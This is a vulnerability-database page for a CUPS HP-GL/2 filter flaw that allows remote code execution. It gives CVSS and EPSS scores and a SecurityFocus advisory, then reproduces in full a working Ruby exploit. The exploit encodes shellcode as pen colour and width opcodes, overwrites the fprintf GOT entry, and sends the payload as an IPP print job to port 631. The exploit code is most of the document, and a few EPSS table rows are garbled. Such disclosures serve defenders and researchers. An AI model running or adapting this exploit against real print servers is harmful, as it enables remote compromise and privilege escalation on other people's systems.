CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
The Hewlett-Packard Graphics Language (HPGL) filter in CUPS before 1.3.9 allows remote attackers to execute arbitrary code via crafted pen width and pen color opcodes that overwrite arbitrary memory.
Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
55.46%
–
–
2022-03-20
–
–
55.46%
–
–
2023-03-12
–
–
–
92.28%
–
2023-07-02
–
–
–
92.28%
–
2023-08-13
–
–
–
91.18%
–
2023-09-17
–
–
–
91.89%
–
2023-12-03
–
–
–
92.03%
–
2024-03-17
–
–
–
91.69%
–
2024-04-21
–
–
–
91.44%
–
2024-06-02
–
–
–
92.01%
–
2024-06-02
–
–
–
92.01%
–
2024-07-07
–
–
–
91.85%
–
2024-08-11
–
–
–
92%
–
2024-10-20
–
–
–
91.88%
–
2024-11-24
–
–
–
90.91%
–
2024-12-22
–
–
–
90.53%
–
2025-01-05
–
–
–
91.24%
–
2025-02-09
–
–
–
90.83%
–
2025-01-19
–
–
–
91.24%
–
2025-02-16
–
–
–
90.83%
–
2025-03-18
–
–
–
–
55.58%
2025-03-18
–
–
–
–
55.58,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/31688/info
CUPS is prone to a remote code-execution vulnerability caused by an error in the 'HP-GL/2 filter.
Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will likely cause a denial-of-service condition. Note that local users may also exploit this vulnerability to elevate privileges.
Successful remote exploits may require printer sharing to be enabled on the vulnerable system.
The issue affects versions prior to CUPS 1.3.9.
NOTE: This issue was previously discussed in BID 31681 (Apple Mac OS X 2008-007 Multiple Security Vulnerabilities), but has been assigned its own record to better document the vulnerability.
#!/usr/bin/ruby -w
# CUPS 1.3.7 (HP-GL/2 filter) remote code execution
# gives uid=2(daemon) gid=7(lp) groups=7(lp)
# linux 2.6.25/randomize_va_space = 1, glibc 2.7
#
# An Introduction to HP-GL/2 Graphics
# http://www.tech-diy.com/HP%20Graphics%20Language.htm
# Internet Printing Protocol/1.1: Encoding and Transport
# http://tools.ietf.org/html/rfc2910
# Internet Printing Protocol/1.1: Model and Semantics
# http://tools.ietf.org/html/rfc2911
# :::::::::::::::::::::::::::::::::: setup ::::::::::::::::::::::::::::::::::
host = '127.0.0.1'
port = 631
printer = 'Virtual_Printer'
Pens_addr = 0x08073600 # objdump -T hpgltops | grep Pens$
fprintf_got = 0x080532cc # objdump -R hpgltops | grep fprintf
# linux_ia32_exec - CMD=/bin/touch /tmp/yello Size=84, metasploit.com
# encoder=PexFnstenvSub, restricted chars: 0xff
shellcode =
"\x2b\xc9\x83\xe9\xf1\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7c" +
"\x48\x22\xd6\x83\xeb\xfc\xe2\xf4\x16\x43\x7a\x4f\x2e\x2e\x4a\xfb" +
"\x1f\xc1\xc5\xbe\x53\x3b\x4a\xd6\x14\x67\x40\xbf\x12\xc1\xc1\x84" +
"\x94\x5e\x22\xd6\x7c\x67\x40\xbf\x12\x67\x56\xb9\x09\x2b\x4a\xf6" +
"\x53\x3c\x4f\xa6\x53\x31\x47\xba\x10\x27\x22\x81\x2f\xc1\xc3\x1b" +
"\xfc\x48\x22\xd6";
# :::::::::::::::::::::::::::::::::: code :::::::::::::::::::::::::::::::::::
# beacause of hpgl-attr.c:68-73 and 269-274
def CR_setup()
"CR0,1,0,1,0,1;"
end
# PS is a bit tricky here. final weight of pen (PW code) is calculated as:
# weight*=hypot(ps[0],ps[1])/1016.0*72.0 (which is NOT hypot/73152.0),
# where ps0=72.0*arg1/1016.0 and ps1=72.0*arg2/1016.0.
# so, hoping to get things accurate I set multiplier to 1.0
def PS_setup()
"WU1;" + # set the units used for pen widths
"RO0;" + # (do not) rotate the plot
"PS0,199.123455;"; # set the plot size
end
# alternative approach to fight floating point rounding errors
# first one seems to be more successful, though
def PS_setup_alt()
"WU0;" +
"RO0;";
end
# set the pen width (PS!)
def PW(width, pen)
"PW#{width},#{pen};"
end
def PW_alt(width, pen)
"PW#{width*25.4/72.0},#{pen};"
end
# "Set the pen color..."
def PC(pen, r, g, b)
"PC#{pen},#{r},#{g},#{b};"
end
# we'll be storing shellcode in Pens[1024] static buffer
# typedef struct
# {
# float rgb[3]; /* Pen color */
# float width; /* Pen width */
# } pen_t;
def memcpy(data)
while (data.length % 16 != 0)
data += "\x90";
end
s = ''
a = 0, b = 0, i = 0
data.unpack('f*').each { |f|
case ((i += 1) % 4)
when 1: a = f
when 2: b = f
when 3: s += PC(i/4, a, b, f)
else s += PW(f, (i-1)/4)
end
}
return s;
end
# overwrite all 16 bytes with the same value
def poke(addr, value)
f = [value].pack('i').unpack('f') # floatyfication!
i = (addr-Pens_addr)/16
return PC(i, f, f, f) + PW(f, i)
end
hpgl_data =
"BP;" + # to be recognized by CUPS
CR_setup() +
PS_setup() +
memcpy(shellcode) +
poke(fprintf_got, Pens_addr) +
PC(0, 0, 0, 0); # whatever
def attribute(tag, name, value)
[tag].pack('C') +
[name.length].pack('n') +
name +
[value.length].pack('n') +
value
end
# tag - meaning (rfc2910#section-3.5)
# 0x42 nameWithoutLanguage
# 0x45 uri
# 0x47 charset
# 0x48 naturalLanguage
operation_attr =
attribute(0x47, 'attributes-charset', 'utf-8') +
attribute(0x48, 'attributes-natural-language', 'en-us') +
attribute(0x45, 'printer-uri', "http://#{host}:#{port}/printers/#{printer}") +
attribute(0x42, 'job-name', 'zee greeteengz') +
attribute(0x42, 'document-format', 'application/vnd.hp-HPGL');
ipp_data =
"\x01\x00" + # version-number: 1.0
"\x00\x02" + # operation-id: Print-job
"\x00\x00\x00\x01" + # request-id: 1
"\x01" + # operation-attributes-tag
operation_attr +
"\x02" + # job-attributes-tag
"\x03" + # end-of-attributes-tag
hpgl_data;
http_request =
"""POST /printers/#{printer} HTTP/1.1
Content-Type: application/ipp
User-Agent: Internet Print Provider
Host: #{host}
Content-Length: #{ipp_data.length}
Connection: Keep-Alive
Cache-Control: no-cache
"""
require 'socket'
NL = "\r\n"
if (false)
# ./hpgltops 0 none none 1 '' output.hpgl
puts hpgl_data
puts "[+] dumping HP/GL-2 into output.hpgl"
f = File.new('output.hpgl', 'w')
f.write(hpgl_data)
f.close()
exit(0)
end
puts "[+] connecting to #{host}:#{port}"
s = TCPSocket.open(host, port)
puts "[+] asking #{printer} for a printout"
http_request.each_line { |line|
s.write(line.strip + NL)
}
s.write(NL)
s.write(ipp_data)
s.read(1)
s.close()
puts "[+] done"